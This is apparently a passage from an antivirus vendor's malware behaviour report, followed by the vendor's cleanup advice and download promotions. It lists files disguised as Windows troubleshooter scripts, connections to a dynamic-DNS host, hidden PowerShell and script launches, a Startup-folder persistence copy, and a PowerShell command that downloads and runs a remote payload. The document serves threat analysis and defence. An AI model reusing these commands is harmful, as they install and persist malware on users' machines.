  • %ALLUSERSPROFILE%\temp\system\apps\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\apps\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\apps\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\utils_apps.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\vf_uac.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\vf_wsreset.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_audiodiagnosticsnapin.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_invocation.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_loadassembly.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_rundiagnosticscript.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_utility.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\audio\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\audio\rs_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_audioservice.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_changevolume.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_enableincpl.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_notdefault.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_samplingrate.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_unmute.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\audio\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\audio\ts_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_audiodevicedriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_audioservice.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_disabledincpl.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_lowvolume.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_mute.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_notdefault.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_samplingrate.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_unpluggedin.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\vf_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\vf_lowvolume.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\cl_registry.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\cl_service.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bits\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bits\rc_bitsacl.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rc_bitsdll.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rc_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rs_bitsacl.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rs_bitsdll.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rs_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bits\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bits\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_btradiooff.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_checkbt.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_disabled.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_driverproblem.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_otherissue.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_btradiooff.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_checkbt.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_disabled.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_driverproblem.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_otherissue.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bluetooth\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\vf_btradiooff.ps1
  • %ALLUSERSPROFILE%\temp\system\device\cl_detectingdevice.ps1
  • %ALLUSERSPROFILE%\temp\system\device\cl_utility.ps1
  • %ALLUSERSPROFILE%\temp\system\device\db_deviceerrorlibrary.ps1
  • %ALLUSERSPROFILE%\temp\system\device\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\device\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\device\rs_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_drivernotfound.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_enabledevice.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_informcustomer.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\temp\system\device\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\device\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\device\ts_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_devicedisabled.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_drivernotfound.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_hardwaredevicemain.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_informcustomer.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_notworkingproperly.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\temp\system\device\vf_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\cl_utility.ps1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\devicecenter\ts_devicecenter.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddon.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetcachesize.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_restoreieconnection.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddon.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieconnection.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_pagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_tempfilecachesize.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\vf_iedefectiveaddon.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\iesecurity_troubleshooter.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iesecurity\rs_blockpopups.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\rs_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\rs_phishingfilter.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iesecurity\ts_blockpopups.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\ts_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\ts_phishingfilter.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\cl_cicero.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\cl_telemetry.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\keyboarddiagnostic.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\keyboard\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\keyboard\rs_cicero.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\keyboard\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\keyboard\ts_cicero.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\htinteractiveres.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\interactiveres.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsnapin.dll
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsresolve.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticstroubleshoot.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsverify.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\networking\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\networking\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\networking\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\networking\startdpsservice.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\utilityfunctions.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\utilitysetconstants.ps1
  • %ALLUSERSPROFILE%\temp\system\pcw\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\pcw\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\pcw\rs_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\temp\system\pcw\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\pcw\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\pcw\ts_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\temp\system\pcw\vf_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\temp\system\power\power_troubleshooter.ps1
  • %ALLUSERSPROFILE%\temp\system\power\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\power\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\power\rs_adjustdimdisplay.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_adjustscreenbrightness.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_adjustwirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_balanced.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_changeprocessorstate.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_disablescreensaver.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_disableusbselective.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_resetdisplayidletimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_resetidledisktimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_resetidlesleepsetting.ps1
  • %ALLUSERSPROFILE%\temp\system\power\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\power\ts_balanced.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_dimdisplay.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_displayidletimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_idledisktimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_idlesleepsetting.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_minprocessorstate.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_screenbrightness.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_screensaver.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_usbselective.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_wirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\mf_printerdiagnostic.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\printer\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\printer\rs_cancelalljobs.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_deleteprintjobs.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_printerdriver.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_processprinterjobs.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_restartspoolerservice.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_setspoolerstartmode.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_startspoolerservice.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_wrongdefaultprinter.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\printer\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\printer\ts_cannotconnect.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_defaultprinter.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_outofpaper.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_outoftoner.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_paperjam.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printerdriver.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printerdrivererror.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printjobsstuck.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_setspoolermode.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_spoolerservice.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\vf_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\temp\system\search\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\search\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\search\rs_resetwindowssearchapp.ps1
  • %ALLUSERSPROFILE%\temp\system\search\rs_restoredefaults.ps1
  • %ALLUSERSPROFILE%\temp\system\search\rs_restorepermissions.ps1
  • %ALLUSERSPROFILE%\temp\system\search\rs_startindexingservice.ps1
  • %ALLUSERSPROFILE%\temp\system\search\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\search\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\search\ts_checkpermissions.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_filterhostcrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdowninrecovery.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdownnocorruption.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_indexingservice.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_indexingservicecrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_protocolhostcrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_searchapp.ps1
  • %ALLUSERSPROFILE%\temp\system\speech\mf_speechdiagnostic.ps1
  • %ALLUSERSPROFILE%\temp\system\speech\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\speech\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\speech\rs_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\temp\system\speech\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\speech\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\speech\vf_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\temp\system\video\graphicsdriverregtool-definitions.psm1
  • %ALLUSERSPROFILE%\temp\system\video\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\video\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\video\rc_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_genericfailure.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\temp\system\video\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\video\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\video\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_viddrv_unsigned.ps1
Deletes the following system files
  • <SYSTEM32>\tasks\adobe acrobat update task
  • <SYSTEM32>\tasks\opera scheduled autoupdate 1723426318
Modifies the HOSTS file.
Network activity
Connects to
  • 'tr####4100.dynu.net':7776
  • 'tr####4100.dynu.net':55
UDP
  • DNS ASK tr####4100.dynu.net
Miscellaneous
Searches for the following windows
  • ClassName: 'Edit' WindowName: ''
  • ClassName: '18467-41' WindowName: ''
Creates and executes the following
  • '%ALLUSERSPROFILE%\pmas_v10.exe'
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
  • '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\temp\system\Power\Prefetch\fix.js"
  • '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\temp\scheduled\Maintenance\Resources\Licenses\setup\pmasfix.vbs"
  • '%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\temp\system\Power\Prefetch\fix.js"
Executes the following
  • '<SYSTEM32>\cmd.exe' /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
  • '<SYSTEM32>\spoolsv.exe'
  • '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js"
  • '%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js"
  • '%WINDIR%\syswow64\xcopy.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Pmas.js*"
  • '<SYSTEM32>\cmd.exe' /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1' (with hidden window)
  • '%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\temp\system\Power\Prefetch\fix.js"' (with hidden window)
  • '%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js"' (with hidden window)
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://upaste.me/r/664f6025415740809')"' (with hidden window)
  • '%WINDIR%\syswow64\xcopy.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Pmas.js*"' (with hidden window)

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Free trial

 

Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

Free trial

 

Download Dr.Web

Download by serial number

Download on App Store

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

 

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

Free trial

14 days

Download now
Get it on Google Play
Wechat